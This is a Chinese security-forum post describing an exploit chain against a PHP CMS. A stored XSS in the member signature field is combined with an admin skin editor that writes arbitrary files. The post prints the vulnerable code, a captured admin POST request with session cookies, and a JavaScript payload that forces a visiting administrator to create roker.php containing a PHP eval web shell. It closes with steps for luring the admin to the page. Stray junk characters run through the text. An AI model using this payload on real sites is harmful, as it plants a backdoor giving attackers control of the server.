这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了,所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。$ `, W5 o+ o f" K7 s/ S- S% p 存在 xss6 r0 x; R/ U P 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:& B) a6 Y4 ?: X1 p3 ~6 I6 w) A 9 t' p0 j7 T: B# g4 t# ]$ [ </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> 7 L! g- x* A" r2 p </textarea></td></tr>, y' p9 p! S0 {+ z1 |. h user/do.php ' K6 P( n, P5 d& u/ b# u( W; L ; @: r* q4 D8 u0 T3 U. |' ~' `/ W' y if($op=='zl'){ //资料 if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',6 K- A2 [3 J+ x9 C: v) u) s CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'6 z# Q6 _, W' c% Y7 E5 e where CS_Name='".$cscms_name."'";# B, }2 ?: K l4 h' v$ P if($db->query($sql)){ 8 h" i) j- C0 y exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));: r `$ u& x$ L5 y# \* z/ ] }else{ ) u( k+ \0 F& ~& T4 s exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));2 @' l& q/ v% K3 G- Y% s. }# L: C F }- _7 a- \4 m' ~- T' h6 ^ - l+ ?, d' E8 a+ { 没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 8 C1 T3 g, T4 F# O6 [! V9 U; k- P0 T( ? U , A" g! m$ f& D' v* D 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1* C; Q. M! J/ @# P" z ! V1 S s% t% T3 I7 M6 Q% Y% [. r Accept: text/html, application/xhtml+xml, */* $ _ W& T" S- x R! G g0 T Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php) d6 X4 A, g" j! v3 w5 } Accept-Language: zh-CN j& R2 W4 ~7 P3 x: v* P' j! w User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)) g4 y4 ^7 P! a. Y& m Content-Type: application/x-www-form-urlencoded4 O$ B1 E" \& z 1 ~4 {1 p. ]' L6 Z Accept-Encoding: gzip, deflate Host: 127.0.0.1 9 y( c; {, Q( Q% M Content-Length: 38' ^6 p' v3 i5 s H; W : @$ }8 C3 b" h DNT: 1 Connection: Keep-Alive1 b" v& Q J2 i0 m D Cache-Control: no-cache( I2 J& w3 I" ^1 I; j ' U- M: ^! r8 \# D Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594, \8 \- I+ l j6 s( i" h # e; g+ j7 Q9 g0 J) p name=aaa.php&content=%3Cs%3E%3Ca%25%3E2 G" X2 r, O: p9 m 4 Y' d+ _$ r: g1 s0 p 于是 构造js如下。. C( X( U5 n! ~ - v5 ^. x+ y% S6 c1 d 本帖隐藏的内容<script> thisTHost = top.location.hostname; * _0 K4 |0 x" e: D1 W, j( K thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/"; 9 R1 e0 S6 z( X( p1 G. _$ h ~ function PostSubmit(url, data, msg) { 5 C3 m' a6 O$ j! m var postUrl = url;% Q- O+ ]0 b% z1 n7 O# ?- }% J var postData = data; var msgData = msg; var ExportForm = document.createElement("FORM"); * `3 z9 z" B: U4 @ E2 I. Y( a document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); 8 x# \9 j6 Y& X, Q! a newElement.setAttribute("name", "name"); H5 \' s; L4 S) `9 M' i newElement.setAttribute("type", "hidden"); 0 [+ L" [. z5 v+ h7 s var newElement2 = document.createElement("input"); " q( K' S: S1 n% S8 E newElement2.setAttribute("name", "content"); newElement2.setAttribute("type", "hidden"); / I, }, q h, q, i# { ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); ; _. C# t0 B5 d) u! @5 w( |& u newElement.value = postData; newElement2.value = msgData; + ]6 |% J5 A# o/ o2 V6 J: M/ B! K ExportForm.action = postUrl; 4 ]! b+ d, j# [! R( x) E, j ExportForm.submit(); % b% B f0 ?4 y% c% ?+ K# G1 Z };6 ~7 j7 e6 H7 F- l, `# E PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");4 l4 U9 ], q* [) ` </script>3 R6 G8 a x$ V4 S. }# B 5 J9 q, j6 q3 J8 q! i $ s8 S) h/ Y- U9 O, H http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入! t- ]5 |0 }+ X 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)4 q' ]' q7 R$ {7 ]/ o' `5 T/ X 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |